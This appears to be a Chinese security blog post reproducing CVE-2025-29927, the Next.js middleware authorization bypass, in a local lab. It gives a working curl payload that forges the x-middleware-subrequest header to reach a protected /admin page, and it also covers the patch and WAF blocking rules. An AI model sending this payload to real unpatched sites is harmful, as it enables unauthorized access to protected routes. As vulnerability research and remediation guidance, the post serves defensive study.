Skip to content
Kurisu
Go back

Next.js CVE-2025-29927:中间件认证绕过复现

1. 漏洞概述

CVE-2025-29927(GHSA-f82v-jwr5-ff7m)是 Next.js Middleware(中间件)鉴权绕过漏洞,研究员 zhero__ 发现,2025-03-21 披露。

核心:Next.js 用内部请求头 x-middleware-subrequest 识别”中间件自己发起的内部子请求”,满足条件时跳过中间件执行;该头客户端可控且未校验,伪造成内部子请求即可绕过中间件里所有鉴权/访问控制,未授权访问受保护路由。

项目内容
CVECVE-2025-29927(GHSA-f82v-jwr5-ff7m)
漏洞类型中间件鉴权绕过(Authorization Bypass)
影响版本< 12.3.5 / < 13.5.9 / < 14.2.25 / < 15.2.3(自 1.11.4 起)
修复版本12.3.5、13.5.9、14.2.25、15.2.3
CVSS9.1(Critical),CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
攻击条件应用用 Middleware 做鉴权(Cookie、Token、IP 白名单)

⚠️ 只有把安全边界放在 Middleware 里的应用才受影响;鉴权写在 Route Handler、Server Component 或后端的不受影响。教训:中间件不是安全边界。

2. 漏洞原理

2.1 内部子请求机制

Middleware 跑在 Edge 沙箱:内部发起子请求时(如 fetch() 站内 API),沙箱 fetch polyfill 会把中间件模块名追加到 x-middleware-subrequest 头中,冒号分隔(dist/server/web/sandbox/context.js,15.2.2):

// 沙箱 fetch polyfill:把中间件模块名追加到内部子请求头
const store = requestStore.getStore();
if (store?.headers.has('x-middleware-subrequest') && !init.headers.has('x-middleware-subrequest')) {
    init.headers.set('x-middleware-subrequest', store.headers.get('x-middleware-subrequest') ?? '');
}
const prevs = init.headers.get(`x-middleware-subrequest`)?.split(':') || [];
const value = prevs.concat(options.moduleName).join(':');
init.headers.set('x-middleware-subrequest', value);

目的:防无限递归——子请求再次进入中间件时需知道”这个请求已跑过我一次”。

2.2 递归深度判断(漏洞点)

再次进入中间件时,沙箱 run() 统计该头中当前中间件名的出现次数,超过 5 次(MAX_RECURSION_DEPTH)即短路,返回”继续放行”的空响应,不执行中间件函数(dist/server/web/sandbox/sandbox.js,15.2.2):

const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr) => curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
    return {
        waitUntil: Promise.resolve(),
        response: new runtime.context.Response(null, {
            headers: { 'x-middleware-next': '1' }   // 等价于中间件直接 next() 放行
        })
    };
}
// ... 正常执行用户中间件 edgeFunction

2.3 攻击手法

关键:x-middleware-subrequest 客户端可任意伪造,服务端不校验它是否真来自内部子请求。

# 绕过载荷:中间件名(按实际位置取 src/middleware 或 middleware)重复 5 层
curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" https://target/admin

为什么是 5 层不是 1 层?判断条件是出现次数 ≥ 5 而非”包含即可”:1 次只算 depth=1,中间件照常执行。

3. 复现

3.1 搭建受影响版本

用 create-next-app 搭 14.2.24 项目,把首页换成受保护后台页:

# 创建项目(脚手架自带最新版,需手动降级)
npx create-next-app@latest cve-2025-29927-lab --ts --app --no-tailwind --no-eslint
cd cve-2025-29927-lab
npm i next@14.2.24          # 降到受影响版本

保护 /admin 的中间件(src/middleware.ts):

import { NextRequest, NextResponse } from 'next/server';

// 本地实验用"密码",实际场景通常是 JWT/Session 校验
const ADMIN_TOKEN = 'lab-secret-token';

export function middleware(request: NextRequest) {
  const token = request.cookies.get('admin_token')?.value;
  if (token !== ADMIN_TOKEN) {
    // 未认证:重定向到登录页(307)
    return NextResponse.redirect(new URL('/login', request.url));
  }
  return NextResponse.next();
}

export const config = {
  matcher: ['/admin/:path*'],
};

再写受保护的页面(src/app/admin/page.tsx):

export default function AdminPage() {
  return <h1>Admin Panel(受保护内容)</h1>;
}

启动服务:

npm run dev    # http://localhost:3000

3.2 攻击对比

正常请求:无 admin_token Cookie,中间件拦截并 307 重定向到 /login:

$ curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
content-type: text/plain; charset=utf-8
...

伪造 x-middleware-subrequest:中间件被跳过,未认证直接拿到管理页 200:

$ curl -i -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \
  http://localhost:3000/admin
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
...
<h1>Admin Panel(受保护内容)</h1>
请求中间件执行结果
GET /admin✅ 执行,Token 校验失败307 → /login
GET /admin + 伪造头(5 层)❌ 被短路跳过200,直接返回管理页

💡 中间件在根目录(middleware.ts)时,把载荷里的 src/middleware 换成 middleware;拿不准看 .next/server/middleware-manifest.json 的 middleware key。

4. 影响

5. 修复

1. 升级到修复版本(首选)

受影响分支修复版本
12.x12.3.5
13.x13.5.9
14.x14.2.25
15.x15.2.3
npm i next@14.2.25   # 以 14.x 为例

修复原理(15.2.3):启动时生成随机 middleware-subrequest-id(8 字节随机数,存进程全局),入口处对所有请求执行 filterInternalHeaders()——只有 x-middleware-subrequest-id 匹配该随机值才信任 x-middleware-subrequest,否则直接删除该头,外部伪造的头到不了沙箱:

// 15.2.3 dist/server/lib/server-ipc/utils.js
const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header];
    }
    // 不是本进程内部子请求 → 剥掉伪造的 x-middleware-subrequest
    if (header === 'x-middleware-subrequest' &&
        headers['x-middleware-subrequest-id'] !== globalThis[Symbol.for('@next/middleware-subrequest-id')]) {
      delete headers['x-middleware-subrequest'];
    }
  }
};

2. 无法升级时:WAF/网关拦截

NVD 建议:在反向代理 / WAF / CDN 层拦截带 x-middleware-subrequest 的外部请求(正常客户端永远不会带这个头),例如 Nginx:

# 外部请求携带内部头一律 403(Nginx 默认会丢弃下划线头,这里是双保险)
if ($http_x_middleware_subrequest) {
    return 403;
}

雷池(SafeLine)等 WAF 可加规则:Header: x-middleware-subrequest 命中即拦截。

3. 架构层:别用中间件做安全边界

参考


Share this post:

Previous Post
Vulnhub DC-1 完整渗透:从信息收集到提权
Next Post
PHP 反序列化深入:POP 链构造思路与绕过手法